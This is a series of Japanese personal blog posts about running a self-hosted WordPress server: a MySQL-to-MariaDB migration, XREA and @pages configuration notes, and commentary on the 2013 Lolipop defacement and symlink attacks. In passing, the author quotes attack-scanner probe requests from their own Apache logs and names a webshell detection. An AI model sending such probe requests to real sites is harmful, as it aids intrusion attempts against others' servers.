「シンボリックリンク攻撃のデモ」だってサ。

 「シンボリックリンク攻撃のデモ」をやるかもしれないってさ。徳丸さんとこの「マイナビのセミナーにて講演します」に書いてあった話。まぁ,ご自分の講演の告知だから,宣伝ちゃ宣伝だけど,近くだったら聞いてみたいよなぁ。

 申し込みのページには,「※競合企業や同業他社の方は参加をご遠慮いただく場合がございますのであらかじめご了承ください。」という注意書きがあるから,競合企業や同業他社の方で行きたい方は気をつけてねー。何の注意をしとるんじゃ(笑)。

 「シンボリックリンク攻撃のデモ」って,元ネタは絶対に,これ,でしょ。しかし,こういうことって対岸の火事じゃないからね。参考になりそうなことは聞いてみたいよなぁ。

 まあ,距離的に,聞きに行くってのは無理だよなー。

本家のお世話-#89。(MariaDB5.5に移行)

投稿アップデート情報  追記(12/21)  追記2(12/25)  追記3(2014/6/6)

MaintenanceNotice 昨日は,一生懸命取り組んでいた。何にって,くりくりさんとの話にも出ていた Windows7HP+SP1(x86) 上での MySQL から MariaDB 移行に(汗)。

 まずは,全サーバデータのバックアップ。
 次に,右図の表示をする maintenance.html を作り,作業のために,以下の行をドキュメントルートの .htaccess の頭に追記した。(参考: mod_rewrite<IfModule>Webサイトのメンテナンス中画面を出す正しい作法と.htaccessの書き方

     ErrorDocument 503 /maintenance.html

     RewriteEngine On
     RewriteCond %{REQUEST_URI} !=/maintenance.html
     RewriteCond %{REMOTE_ADDR} !=IP address for Admin
     RewriteRule ^.*$ – [R=503,L]

     Header set Retry-After “Wed, 18 Dec 2013 01:00:00 GMT”

 ここに,「特定のモジュールの存在に関わらず動作する 設定ファイルの原本が必要なときにのみこのセクションを使用してください。 通常の動作では、ディレクティブを <IfModule> セクションの中に 入れる必要はありません。」と書いてあったので, <IfModule> はいらないかなと思いはずした。

 さて,さっき作った maintenance.html をサイト上に表示するようにして, MariaDB5.5 への移行に取り掛かった。

 MariaDB をクリーンインストールする。今回,エンジンは MyISAM から InnoDB に変えてみたい。 MySQL を使い始めたときにすべてのテーブルを MyISAM で作った。最近, InnoDB のメリットをよく聞くのでやってみたくて仕方なかった。もっとも,そうしたって,よくわかっていないから,生かしきれないと思うけど(爆)。それに,移行で泥沼にはまっている話もちょくちょく見かけたので,二の足を踏んでいた。だって,何か起きたら対処しきれないじゃないヨ,もともと,よくわかってないんだから-Haha。

 MariaDB はデフォルトで InnoDB らしい。この機会に,テーブルを作り変えてもいいや。

ステップ1 MySQL をアンインストールする。

  1. すべての WordPress プラグインを無効にする。
  2. さっきやったサーバのバックアップとは別に,すべてのデータベースを sql ファイルとしてバックアップする。
  3. ダッシュボードのツールから WordPress のすべての記事・コメントをエクスポートする。この時点では,可能なら WordPress Importer を使おうと思っていた。後述の理由で,結局あきらめたが。
  4. サービスを停止する。
    コントロールパネル >> 管理ツール >> サービス
    MySQL のサービスを選んで,停止。
  5. サービスを削除する。
    cmd.exe を管理者として実行。
    > sc delete MySql
  6. フォルダ MySQL と MyDATA を削除(<--- これらには,自鯖の MySQL 関係のものがはいっている)。

ステップ2 MariaDB をインストールする。

  1. mariadb-5.5.34-win32.zipMariaDB からダウンロードする。
  2. Installing MariaDB Windows ZIP packages にざっと目を通してから, mysql_install_db.exe について を読んだ。
  3. Zip を展開する。 MariaDB と MyDB というフォルダをサーバウェア用のパーティション Drive_SV に作り,展開でできたものを MariaDB フォルダにコピーする。

    cmd.exe を管理者として実行。
    > cd Drive_SV:\MariaDB\bin
    > mysql_install_db.exe –datadir=Drive_SV:\MyDB –service=MyDB –password=secret

    これにより,root のパスワードが設定され, MyDB の中には my.ini が作られる。

  4. コントロールパネル >> 管理ツール >> サービス
    MySQL のサービスを選んで,開始。
    もし,「スタートアップの種類」が「自動」になっていない場合は,自動になおしておく。

ステップ3 phpMyAdmin で MariaDB にアクセスする。

  1. phpMyAdmin から root として,MariaDB にアクセスする。
    バックアップしていた phpmyadmin データベースをインポートする。
  2. WordPress 用ユーザを作り, WordPress データベース用に Grant 以外のすべての privileges を付与し Global privileges は一定与えないこと。パスワードも設定する。 WordPress 用のデータベースを作成する。 collation は utf8_general_ci にする。
    ログアウト。

WordPress Importer でインポートしたが,結局止めてしまった理由。

 新しく WordPress をインストールした後, WordPress Importer でコンテンツをインポートした。間の悪いことに作業がほぼ終わってから,このプラグインが <object> などのある種のタグを移してくれないことに気づいた。 html 関係のどんなタグが対象になるのか調べるのも鬱陶しくて,この方法はやめることにした。これに結構時間かかってたんだけどね。

ステップ4 phpMyAdmin ですべてのWordPress のデータを復元する。

  1. InnoDB を使いたいので,バックアップファイル上の ‘ENGINE=MyISAM’ を ‘ENGINE=InnoDB’ に置き換えた。
  2. phpMyAdmin に WordPress ユーザとしてログインし,データベースにアクセス。
    WordPress のデータベース上の現データをエクスポート。
    現在の WordPress のデータベース上のテーブルをすべて削除。ところで,バックアップした sql ファイルには,全部が含まれていて大きいが,これを編集するのも面倒なので, php.ini のアップロードの制限を作業中だけちょっと変更した。
  3. バックアップをインポートしたら,エラーが出た。アララ。
         #1214 – The used table type doesn’t support FULLTEXT indexes

    もともと, MyISAM だったので, FULLTEXT indexes が使われていたみたい。調べてみたら, YARPP が post_title と post_content のキーとして使っていた。ウーム。 しかし,フォーラムに, we can use YARPP on the InnoDB というのがあったので読んでみたら,性能は落ちるけど, InnoDB でも使えんことはないよと,プラグインの作者が言っていたので,「エイヤッ」と全 FULLTEXT indexes 関連行を削除した。(そういえば, MySQL5.6 は InnoDBでも FULLTEXT に対応したよね。–12/25追記)

  4. もっ一回,全テーブル削除。

    書き換えたファイルをインポートしたら,あらまたエラーが……
         #1064 – You have an error in your SQL syntax;

    これは,えっと,私のミスであった。 FULLTEXT indexes を消したときに “,” の消し忘れ。
         KEY `post_author` (`post_author`),   <<--------この ',' が残っていたのヨ。      ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=xxxx ; で, ',' を削除。

  5. 全テーブル削除。

    3度目の正直。ナンチャッテ。インポート。おっ,通った。

ステップ5 通常営業に戻る。

  1. WordPess にログイン。
    全プラグインを有効化して,挙動をチェック。

    .htaccess を元に戻して,メンテ終了。

  2. 実のところ,作業後, Jetpack が親サイトでエラーを吐いている。

         Your website needs to be publicly accessible to use Jetpack: site_inaccessible
         Error Details: The Jetpack server was unable to communicate with your site https://MySITE
         [IXR -32300: transport error: http_request_failed SSL certificate problem: self signed
         certificate in certificate chain]

    でも,調べてみたところ,メンテのせいではないようだ。そんなわけで, Jetpack フォーラム での情報待ちです。

 MariaDBについては,移行完了ってところ。拍手×2。

追記(12/21):
 MyISAM から InnoDB に変更して以来, YARPP プラグインの性能低下がはなはだしい。予想以上のひどさである。 YARPP のページの示唆通り,元に戻したほうが賢明だ。

  1. phpMyAdmin にログイン。
  2. WordPress 用のデータベースを選択。
  3. wp_posts テーブルを選択。
  4. 上のナビバーから ‘操作’ を選択。
  5. ストレージエンジンを Innodb から MyISAM に変更。
  6. テーブルオプションの ‘実行’ をクリック。
  7. phpMyAdmin をログアウト。

 ところが,この変更を YARPP が認識してくれない。こういう操作のための機能も用意されているのだが,うまく働かない。解決策を探しに, YARPP サポートフォーラムに行ったら, MyISAM Override check doesn’t work というのがあった。 hussong の方法をやってみた。

  1. まず, YARPP を無効にする。
  2. phpMyAdmin にログイン。
  3. WordPress 用のデータベースを選択。
  4. wp_options テーブルを選択。
  5. 上のナビバーから ‘SQL’ を選択。
  6. SELECT * FROM `wp_options` WHERE option_name LIKE "yarpp%" をやる。
  7. 見つかったのをすべて削除。 yarpp_fulltext_disabled = 1 というのがあるはずなので,これを yarpp_fulltext_disabled = 0 に変更する。
  8. phpMyAdmin をログアウト。
  9. YARPP を有効にする。
  10. 元の設定はすべて消えてしまうので, YARPP の設定をやり直す。

 これで,タイトルと内容の検討オプションが使える。ヤレヤレ。

追記2(12/25):
 「Jetpack の不具合について。」というのを書いた。

追記3(2014/6/22):
 WordPressでの「SSL3_READ_BYTES:sslv3 alert handshake failure」を解決というのを書いた。

起きてびっくり,サイト改竄? at よそ様-続々報。

 徳丸さんが関連記事(新規での投稿時刻は 9:48 のようである)を書いている。表題はそのものずばり。「ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策」。

 この中で,徳丸さんは hissy さんが,個人的な見解の中で, “symlink, mass deface” と書いておられたことの具体的手法だろうと,私が思ったことについて,詳しく書いてくださっている。

 しかし, WordPress を使う場合 mod_rewrite がいるから, FollowSymLinks は必須だ。ということは, 共有サーバの場合,ここを必ず SymLinksIfOwnerMatch にしておけばいいということなのか。うちの場合,ユーザは私ひとりなので,ドキュメントルートの Options はデフォルトのままで, AllowOverride のほうは,デフォルトの None から FileInfo Indexes Limit に変更してある。 .htaccess で使うためだ。

 LINUX を使ったときにシンボリックリンクとは便利なものだと思ったが,元来は UNIX 由来のものだろうと思う。メインフレームしか存在しなかったような時代においては,今のように不特定多数のしかも初心者に近いような人間がネット上で使用するようなことは想定外だったろうから,そのころのゆるさが残ってしまっているのだろう。

 なんちゅうか,自分の住んでいるところの郵便局と,西部劇の新開地の銀行を比べてみているのような気分になってきた。

 自鯖の環境を振り返ってみて,上記の件も大丈夫かなという気になってきたところである。ところで, WordPress をお使いの同好の士は,環境を最新に保つようにがんばりましょう。今回, timthumb.php の脆弱性が利用されたのであれば, timthumb.php を開発している方たちはがっくり来てると思うよ。「俺たちの努力は何だったんだ」って。まっ,何の分野でもよくある話だけどね,ありがたくないことに(爆)。

起きてびっくり,サイト改竄? at よそ様-続報。

 いろいろ,情報が出ているようだが,ロリさんからの詳細情報は,われわれが利用できるような意味では(具体的にどのファイルのどの脆弱性を使われたとか,サーバのどの穴を突かれたとか ― 望むほうが無理かいな),詳細には出ていないようだ。しかし,状況としては少し落ち着いてきたのだろうか。

 hissy さんが今時点(朝8:55ごろ)での見解をまとめられていて,参考になるのでリンクを貼っておく。これ

 もし, timthumb.php が狙われたとすれば,脆弱情報を入手しての更新がいかに大切か,実感できると思う。私が, timthumb.php の脆弱性に触れたのは,調べてみたら 2011.08.05 のことだった。丸2年前には,アップデートが配布されているわけだから,この既知の脆弱性が残っていたとすれば,これが2年間手当てされていなかったことになる。ロリさんところのような形態のサーバでは,そういうユーザもかなりいるのかもしれない。しかし,これだけだとそのサイトだけ話になるから,他ソフトの脆弱性やサーバの不備を突かれて,これを踏み台に使える方法を見つけられてしまったということなのか。サーバの脆弱性を付かれたと言うことになれば,これはホスティングサービス側の責任が大きいだろう。フリーで気楽に使えるレンタルとなれば,『そういうユーザ』が多くなるのは止むを得ないから,ホスティング側がしっかりしないといけないわけだが,職場として考えたとき,そういう運営をする場合は,優れた技術者を集め最新のインフラを維持するようなコストはかけられないだろうな,と思ってしまう。
 必然的に,サーバ群のセキュリティが,低いまま残っていく,ということになるのかもしれない。

 ところで,うちの Apache の8月のログにも
  ”GET /~/cybercrime.php HTTP/1.1″
なるものが,21日分に残っている。しかし, Error AH00127: Cannot map GET が戻っているので,問題なかったのだろう。ちなみに, Apache のログから /cybercrime.phpが見つかったのは, 2011.4 から今まででこの日だけだった。

 /w00tw00t.at.ISC.SANS.DFind:) とか 0w131 とか phpMyAdmin がらみとかは,よく見かけるんだけどナ。

 そういえば,ほかに uploadify.php の脆弱性にも触れたことがある。このときは,これがらみで「PHP/WebShell.A.1[virus]」が送り込まれてきたようだった。関連の脆弱性がなかったせいか事なきを得たわけだが,なんによらず,素人の自鯖運営者としては,「この間書いたように『新しいものは,気づかれない大穴があるということもあるが,それ以上に古い既知の穴のほうが怖いよというのが,最近のスタンスと思われる。』という姿勢で行くしかないのかなぁ」と思った今回のロリさん達の事件であった。

起きてびっくり,サイト改竄? at よそ様。

投稿アップデート情報  追記

 昨朝,起きて WordPress の日本語ブログのダッシュボードに入って,びっくり。フォーラムのところに,なんと,「サイト改ざん?」の文字が乱舞している。

 いや,うちではないです。よそ様です。フォーラムに初投稿がされたのは一昨日のようだが,一昨日は,芋虫くんにかまけていて,気づかなかった。まぁ,昼からは,いろいろリアルも忙しかったし。

 昨日も昨日で,朝あらかた読んで,ひとまずうちには影響がなさそうなので,予定通りでかけてしまった。(汗)

 しかしねぇ,テストサイトに使っている atpages から,一昨日こういう連絡が来たばかりだったし,
 【@PAGES】【お詫び】ユーザ情報流失に関するお知らせ 2013.08.28
さらに昨日はこれが来たので,
 【@PAGES】【お詫び】ユーザ情報流出に関するお知らせ【第2報】2013.08.29
いずこも同じようなことがあるのかなと思ったわけだ。上記の事件と同じようなといわれたら, atpages は心外かもしれないが……幸いにして,狙われなかっただけ,という気もする。
 今のところ,「ロリポップサーバーでサイト改ざんハッキング被害に遭った方への情報」から跳べる「ロリポップサイト改ざん関連情報 (2013年8月)」を読んでも,はっきりとした原因はわからないわけだが,いろんなことで似たり寄ったりかなと思う。(爆)

 「Hacked by Krad Xin」でググると,表題にこの文字列が入ったものすごい数のサイトが現れる。上記の事件の発端が一昨日だから,事件関連の記事も多いわけだが,それを除いても(年月日設定を去年1年とかしても,ということ),すごい数だ。これって,要するにスクリプトを仕組まれているんじゃないのか?

 フォーラムの話の中に,
> 一般設定のサイトタイトルがHacked by Krad Xinとなっていたのを元のサイト名に戻しました
てのがあるからねぇ。

 今回のクラックはある意味,性がいいかも知れないとか思った。だってね,一番初めに投稿した方が書いているように,クラックされたサイトで文字化けがあったわけだ。そうすると,変だなぁって,気づくよね。「深く静かに潜航」するほうが,たちが悪い。ダメージが一緒なら,早く気づけるほうが手当ても早いわけだから,不幸中の幸いだよ。「Hacked by Krad Xin」でググったときに出てくるサイトのほとんどは,気づいてないのではなかろうか。

 まぁ,「ロリポップ」では,昨年から, WAF が標準装備って謳っていたみたいだけど,あんまり役立てられていなかったようだね。徳丸さんが,「ロリポップ上のWordPressをWAFで防御する方法 」を書いているので(去年の記事を,昨日の時点でタイトル変更,追記までしている),「ロリポップ」を使っている人は,今回の手当が済んだ後は,よく読んで取り組んだほうがいいと思う。

 レンタルサーバだと,導入されていない WAF は使いようがないだろうけど, WordPress 使いとして,せめて出来ることはやっておこう。前にも書いたけど,こんなとこが参考になると思う。

  1. WordPress のセキュリティ、こんな記事は要注意
  2. WordPress使いならこれだけはやっておきたい本当のセキュリティ対策10項目
  3. Re: WordPress使いならこれだけはやっておきたい本当のセキュリティ対策10項目

 セキュリティ関係はナマモノとはいうものの,上げられてる10個のうちの半分は, WordPress に限る話ではない。 up-to-date とか,パスワード強度とか,ユーザの啓蒙とか。最後のものなんて管理者だったら,一番苦労するとこ。

 しかし,管理者になっている方は,レベルの違いはあれ,日々勉強と縁が切れないってことだ。お互いに,ガンバ!!

追記:
 読み直してみて, wp-config.php や .htaccess のパーミッションの話を全く書いていないのに気付いた。今どき,あの環境で 404 , 604 は当たり前だろうとか思っていたせいで,書き忘れたのかな。結局, wp-config.php については, 400 ってことになったようだ。
 LINUX に詳しくないので,この辺がよくわからないのだが,レンタルサーバで public_html 下のファイルのオーナーと サーバソフトウェアのオーナーが違う場合, 400 にしちまうと, wp-config.php をビジターが使えなくてエラーになりそうな気がするが,その辺,ロリはどうなってんのだろ。
 詳しい方がいらっしゃったら,よろしく。

 ところで,先日
Windows ファイアーウォールからのアラートを受容すると自動的にルールが構築される。しかし,これが甘々なのである。 今回の場合でも,デフォルトだと,すべての IP アドレス&ポート(それも, TCP だけでなく UDP まで)についてオープンしている状態になる。これじゃあんまりなので,”セキュリティが強化された Windows ファイアウォール” の機能を使って,もう少しきっちりと制限しておくべきだと思うのであった。
と書いた件だが,ほかのパーソナルファイアーウォールを入れずに,”セキュリティが強化された Windows ファイアウォール”を使い続けている。この件で少し詳しい記事を書きたいと思っているが,今のところ,思っているだけ。
 一言愚痴っておくと,「スコープ」の細かい設定がしにくい。どなたか,その部分にデータをインポートするいい方法をご存じないですか。

覚え書-#8。

 WordPress3.3.1を,XREAや@pagesにインストールしたときの注意点を,まとめておこうかなと思ったんだけど,書き始めるとめんど臭くなってきた。で,題名が覚え書になった(爆)。

 関連する記事は,このブログで検索ワードとして「tmp wordpress」や「AddHandler application/x-httpd-phpcgi .php」を使って調べたときに出てくるものになるナ。

 XREA・@pagesの共通の特徴はLAMP系であることだが,これはレンタルサーバとしてはごく普通のことだから,特記すべき点はPHPがセーフモードで動いていることだろう。PHPのセーフモードは,PHP5.3.0から非推奨になったが,XREAも@pagesもPHP5.2系を使っているようだ。憶測だが,稼働中のレンタルサーバでは,今までセーフモードを使っていたところを変更して,同等のセキュリティを実現するのは,なかなか難しいのかもしれない。

 両者のフリースペースを比べた場合,いろんなことができる自由度はXREAのほうが高いが,設定の面倒さもXREAのほうが高い気がする。また,XREAのフリースペースは,現時点では,Value-Domain関連の有料サービスを使っていないと借りられないから,無料レンタルサーバとしては一般的とはいえない。

 XREA・@pages,どちらの場合も稼働しているサーバは複数で,サーバごとに少しずつ設定が異なるので,注意が必要である。また,XREAでの設定はCORESERVERにも大体使えると思ってよい。

 PHPがセーフモードで動いているとmkdirの使用が制限されるようだから,おおもとのWordPressのスクリプト群のアップロードのときに,前もってFTPクライアントで子ディレクトリを手作業で作っておくと,幸せになれるようだ。それに,1回にアップロードできるファイルサイズの制限に引っかかる場合なんかもあるから,小分けにしてアップロードしたほうがいいようだ。「急がば回れ」だね。

 インストールがすんだら,FTPクライアントでドキュメントルートにtmpを作り,パーミッションを707にして,wp-config.phpの「/* 編集が必要なのはここまでです ! WordPress でブログをお楽しみください。 */」の行より上に
 XREAの場合は,
  define( ‘WP_TEMP_DIR’ , ‘/virtual/ID/public_html/tmp/’);
 @pagesの場合は,
  define (‘WP_TEMP_DIR’, ‘/usr/local/www/htdocs/ユーザーID/public_html/tmp/’);
を追加。再度,wp-config.phpをアップロード。注意としては,wp-config.phpの編集には,BOMの管理のできるテキストエディタを使い,保存時にはBOMを付与しない形で保存するってこと。

 wp-contentの直下にuploadsを作り,パーミッションを707にする。これは,XREA・@pages,どちらも同じ。同じところに,upgradeも作っておく。upgradeのパーミッションについては,やはり,707にしておくほうがいいのかどうか。XREAでは,しなくてもO.K.のようだし,@pageでは,しておいてもエラーが出るし?????しかし,作っておかなければいけないのは,確かみたい。

 tmp,uploads,upgradeあたりの設定を済ませておかないと,「ファイルストリーミングの送り先となるディレクトリが存在しないか、書き込み不可になっています。」が出るようだ。

 あとは,XREA関連になる。XREAでPHPをモジュール版で動かすとき,制限がきついためにうまく動かないことかある。これを回避する方法として,.htaccessを使って,「(新)PHPをCGIとして動かす方法について」というのが提供されている。
 .htaccessに
   AddHandler application/x-httpd-phpcgi .php
を記入して該当のスクリプトをGCIとして動かしてやるというものなのだが,WordPressのインストールディレクトリにこれを入れて,どれもこれもCGIモードで動かすとなるとmodule版を使う意味がない。そこで,必要最低限のスクリプトを指定してやったほうがいい。
 現在のところで,私が指定しているのは以下のものだけ。.htaccessの場所はwp-adminの直下と,wp-includes/js/tinymceの直下である。

 wp-adminの直下の.htaccessの内容。
   LayoutIgnoreURI *

   <Files admin.php>
   AddHandler application/x-httpd-php5cgi .php
   </Files>
   <Files update.php>
   AddHandler application/x-httpd-php5cgi .php
   </Files>
   <Files plugins.php>
   AddHandler application/x-httpd-php5cgi .php
   </Files>
   <Files themes.php>
   AddHandler application/x-httpd-php5cgi .php
   </Files>

 AddHandler application/x-httpd-php5cgi .php は AddHandler application/x-httpd-phpcgi .php でも動くんだが,PHP5を使っている場合は,こちらを使ってくれと「PHPをCGIとして動かす方法について」に書いてあるので,指示通りにしているのだ。
 LayoutIgnoreURI * は,XREAの広告が自動挿入されるとダッシュボードのJavaScriptがまともに動いてくれないので,これを回避するために入れてある。はやわかりXREAの「自動挿入広告」のFAQのページを読んで,ダッシュボードには広告を挿入しなくても違反にはならないと判断している。当然ながら,XREA+やCORESERVERなどの有料サービスであれば,LayoutIgnoreURI * は,いらない。

 wp-includes/js/tinymceの直下の.htaccessの内容。
   <Files wp-tinymce.php>
   AddHandler application/x-httpd-php5cgi .php
   </Files>
 これは,ネットワークの作成-#3。の2.で書いた,「ビジュアルエディターが使えなかった件」の対策。こっちのほうが簡単だし,バージョンアップのときに気にしなくてよい。

 まぁ,こんなところかな。結構長くなっちゃったな。この件は,思い出したらまたここに足していこう。

 ところで,PHP5.4.0が出てますな。

XREAのCatchAllについて。

 どうも,体調のすぐれない一週間だ。急に寒くなったせいなのかもしれないが,久しぶりに胃痛が激しかった。リタイアしてから,めったと痛むこともなかったのに……
 ピロリ菌の治療をしてからずいぶん経つので,もしかしたら彼らが復活しているのかもしれない。10月のいつもの通院でちょっと確認してみようと思う今日この頃だ。せっかく涼しくなって,食事もおいしくなってきたはずなのに,そう感じられないって損だよねぇ。

 りりさんからコメントが入ったので,返事を書いていたんだが,長くなってきたので別記事として書くことにした。書くことって,CatchAllの話くらいしかないが,他のレンタルサーバはどうなっているのかなと思っていた点でもあるので,立てておけばどこかから情報が得られる可能性もあるという期待で。ちと,さもしいかしらん。

 りりさんは,Xserverでのネットワーク(マルチサイト、複数サイト)の構築に手こずってられるらしい。WordPressの日本語Codexのネットワークの作成のサーバ要件のところには,

  • サブディレクトリ型サイト
    .htaccess ファイルを読み込めるサーバの mod_rewrite 機能を用いて動作します。
  • サブドメイン型サイト
    ワイルドカードサブドメインを用いて動作します。Apacheでこれを有効にし、DNSレコードにワイルドカードサブドメインを追加する必要があります。(設定方法は手順2を参照のこと)
    と書いてあって,手順2では,

    1. webサーバ(例としてはApacheだけしか上がっていないが)で
      httpd.conf fileか自分用のバーチャルホスト・エントリーで
           ServerAlias *.example.com
      を付け加えてワイルドカードを有効にせよ。
    2. DNSレコード設定でAレコードとして
           A *.example.com
      を付け加えてサブドメインでのランダム文字列を有効にせよ。

    が書いてある。

  • 注意として,
    1. サーバ側でワイルドカード設定済みのホストであれば、自分で行なうのはDNSレコードの追加のみです。
    2. 共有サーバは対応していないかもしれません。この機能を有効にする前に、自分のウェブホストを確認してください。

    と書いてあるんだが,この辺どうなんだろうか。

 Xserverのこの辺の説明を読んだところ,Xreaとの違いはCatchAllの機能がないことのようだ。XreaのCatchAll機能というのは,*.example.comにあったアクセスをすべてdefaults.example.comにまとめる機能で,ここに集まったアクセスをWordPresstが.haccessのrewriteディレクティブで各ユーザに割り振ってやっているようだ。Xreaのhttpd.conf やバーチャルホスト・エントリーがどうなっているかは,私には全然わからないのだが,共有サーバで単純にCodexに書いてやっているようなことだけしかしていなかったら,違反者の管理が大変だろうから,いろいろとこまごましたことがあるんだろう。
 ところで,CatchAll機能というのはメールサーバでは聞いたことあるけど,レンタルサーバのこの手の機能の呼び名としても一般的なんですか。ググってみても,他ではあんまり出てこないようですが。

 XserverのDNSレコードについてを読むと,*.xserver-sample.comのAレコードは設定できるようになっている。しかし,*はなんでもいいわけだから,ここにアクセスされたものをすべてWordPressがインストールされている/public_htmlにアクセスさせる必要があるが,これができないようだ。サブドメインの使い方を読むとそうなっている。ここで,サブドメインを設定するとそれ用のディレクトリが勝手にできてしまう。この点は,CatchAllの機能を使わない場合のXreaでも同じだが,Xserverの場合これをFTPで削除しても,CatchAll機能が使えないとだめなんだろうなぁ。できたサブドメイン用のディレクトリを全部削除し,下のデフォルトのDNS設定を*.xserver-sample.comのAレコード以外全部削除しても,機能してくれないかな。まぁ,その辺の設定は,安全を考えてきっちりやっているだろうから,無理かなという気もする。

     ホスト名 種別 内容 優先度
     xserver-sample.com A xxx.xxx.xxx.xxx  
     www.xserver-sample.com A xxx.xxx.xxx.xxx  
     xserver-sample.com MX xserver-sample.com 0
     *.xserver-sample.com A xxx.xxx.xxx.xxx  

本家のお世話-#8。

投稿アップデート情報  追記2(2012/7/16)  追記3(2013/8/15)

 前の記事の続きで,XREA+での話です。長くなったので分けました。

  1. XREAの管理画面の「データベース」操作で,文字コードをUNICODEにして,MySQLのデータベースを作成。
  2. 解凍したWordPress ver.3.2.1をFTPで/public_htmlにアップロード。あとで,ネットワーク化するので,WordPress専用ディレクトリを作ってはいけません。
  3. ブラウザで,http://example.s***.xrea.com/にアクセス。
  4. WordPressの設定ファイル(wp-config.php)を作る。
  5. wp-config.phpのパーミッションを直していないままのせいかセーフモードのせいか,「wp-config.php ファイルへの書き込みができません。」が出る。
    ローカルのテキストエディタを使い表示されたコードを使ってwp-config.phpを作成。このときにWindowsのメモ帳は使わないこと(BOM対策)。それと,うちのサイトはマルチサイト仕様なので,
        define (‘WP_ALLOW_MULTISITE’, true);
    を,「/* 編集が必要なのはここまでです ! WordPress でブログをお楽しみください。 */」 よりも上に忘れずに追加すること。
  6. 作成したwp-config.phpをFTPでアップロード。インストールを実行。次画面で各データを記入。実行するとインストール終了。設定メールアドレスに「新しい WordPress サイト」という題名のメールが来る。
  7. ブラウザからhttp://example.s***.xrea.com/にアクセスして,改めてログイン。
  8. XREAの自動広告のせいで,ダッシュボードのJavaScriptがまともに動かないため表示がおかしいので(もちろん,XREA+では広告は入らないけど,この時点では,まだ+の契約をしていなかった。),
        LayoutIgnoreURI *
    を記入した.htaccess(パーミッションは604)を作り,wp-admin直下にアップロード。この情報は,はやわかりXREAの「自動挿入広告」のFAQのページを参考にした。
  9. ダッシュボードのメニューから,「ツール」>>「ネットワークの設定」を選ぶ。サブディレクトリ型を選び,インストール続行。
  10. WordPress サイトのネットワークを作成のページの,
    1. blogs.dirの作成(パーミッションは707)
    2. 訂正したwp-config.php(パーミッションは404)を上書きアップロード。
    3. 作成した.htaccess(パーミッションは604)をアップロード。

    の作業を間違いなく実行。

  11. 終わったらログインし直す。
  12. 右上の「こんにちはxxxさんのメニューからプロフィールを選ぶ。」
    • 「ビジュアルリッチエディターを使用しない」をチェック。これは好き好き。
    • この時点では,ユーザー名とニックネームが同じなので,ニックネームをo6asanに変更。
      ブログ上の表示名もo6asanに変更。
    • プロフィールの更新をクリック。
  13. 「設定」>>「ネットワーク設定」へ移動。
    アップロード設定のメディアアップロードのボタンの画像・動画・音楽にチェック。
    日本語デフォルトで使う場合は,ここで初期設定言語をJapaneseにする。
  14. プラグインを削除しようとしたらエラーが出るので,/public_html/wp-admin の.htaccessに
        <Files plugins.php>
        AddHandler application/x-httpd-phpcgi .php
        </Files>
    を追加。(PHPのセーフモード対策。)
  15. プラグインを追加しようとしたらエラーが出るので,/public_html/wp-admin の.htaccessに
        <Files update.php>
        AddHandler application/x-httpd-phpcgi .php
        </Files>
    を追加。(PHPのセーフモード対策。)
    必要なプラグインをインストールし,いくつかを除いて「ネットワークで有効化」しておく。

      現在インストールしてあるプラグインは以下の通り。一般的なのも一般的でないのもあるが,簡単に機能を書いておく。

    • 「ネットワークで有効化」をするもの
          Akismet <—– 定番のスパム対策。
          Contact Form by ContactMe.com <—– メールフォーム用(今まで使用の自前は止めた)
          Flash Calendar for WordPress <—– 前から使っているカレンダ
          Jetpack by WordPress.com <—– アクセス解析。これも前と替えた。
          Movable Type and TypePad Importer <—– MovableTypeデータのインポート用
          My Link Order <—– リンク表示順のカスタマイズ用
          Picbox <—– 画像表示用
          Revision Control <—– 名前の通り
          WordPress Importer <—– WordPressデータのインポート用
          WP Multibyte Patch <—– 定番のマルチバイト文字パッチ
          WP Wapuu Widget <—– redcockerさん配布のワプー表示用プラグイン
    • 「ネットワークで有効化」をしない,または,してはいけないもの
          Similar Postssとそのために必要なPost-Plugin Library <—– Similar Postss用。
          WordPress File Monitor Plus <—– サーバ上のファイル変更監視用
          WP Ajax Edit Comments <—– コメント編集用

    Similar Postssについては,初めは子サイトでうまく動かなかった。やっているうちに動かせる方法が分かったので,フォーラムに投稿した。同じ使い方をする場合はこちらを読んでほしい。。

  16. ビジュアルエディターは使わない設定にしているが,XREAのサーバがgzの解凍をサポートしてないせいか有効にしても使えなかった件を解決するために,「Windows サーバーでビジュアルエディタが使えない (http://digitalbox.jp/happy-go-lucky-computing/wordpress/unused-wordpress-visual-editor-on-windows-server/)」の情報を参考に以下の変更を行なう。
    wp-tinymce.js.gz を展開して wp-tinymce.js を作成。これを wp-tinymce.js.gz のあったディレクトリにアップロード。wp-tinymce.phpを開いて,

    if ( isset($_GET['c']) && 1 == $_GET['c'] && isset($_SERVER['HTTP_ACCEPT_ENCODING'])
    	&& false !== stripos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') && ( $file = get_file($basepath . '/wp-tinymce.js.gz') ) ) {
    	header('Content-Encoding: gzip');
    	echo $file;
    } else {
    	echo get_file($basepath . '/tiny_mce.js');
    }
    exit;
    

    の部分をコメントアウト(あるいは削除)し,以下の2行に書き換える。
            echo get_file($basepath . ‘/wp-tinymce.js’);
            exit;

    追記2(2012/7/16)
     上記のことについて,Xreaではwp-includes/js/tinymceの直下に,以下の内容の.htaccessを置くことで,同様の効果を得ることができる。
       <Files wp-tinymce.php>
       AddHandler application/x-httpd-php5cgi .php
       </Files>
     Xreaの場合は,こっちを使ったほうが簡単だし,バージョンアップのときも気にしなくてよい。

  17. サイトを追加する。
    • サイトのアドレス:BLOG1(英字は小文字のみ。うっかり,最後に / をつけないこと。これでハマった。)
    • サイトのタイトル:ブログ1
    • 管理者メールアドレス:hoge@example.com

    この後,XREAの管理画面から,「ツール」>>「ファイル所有者の修正」をやっておく。やっておかなかったら,データのインポートでエラーが出る。まぁ,その時点でやっても問題ないけど。
    どこで追加したか忘れたが,/public_html/wp-admin の.htaccessには以下の2つも追加しておく。忘れると,あとでやるインポートやテーマのインストールがうまくいかない。
        <Files themes.php>
        AddHandler application/x-httpd-phpcgi .php
        </Files>
        <Files admin.php>
        AddHandler application/x-httpd-phpcgi .php
        </Files>

  18. 各サイトの管理画面から「設定」に行き,一般的な設定(一般~パーマリンク設定)をする。WordPressの場合は,全体を非公開にする設定がない(?)ので,テストサイトへのアクセス制限は.htaccessで行う。
    全体の比率の関係でサイト全体の言語を英語にしているので,日本語ブログの設定を忘れないように日本語に直しておく。
  19. 作成したすべてのサイトのAkismet API キーを有効にする。
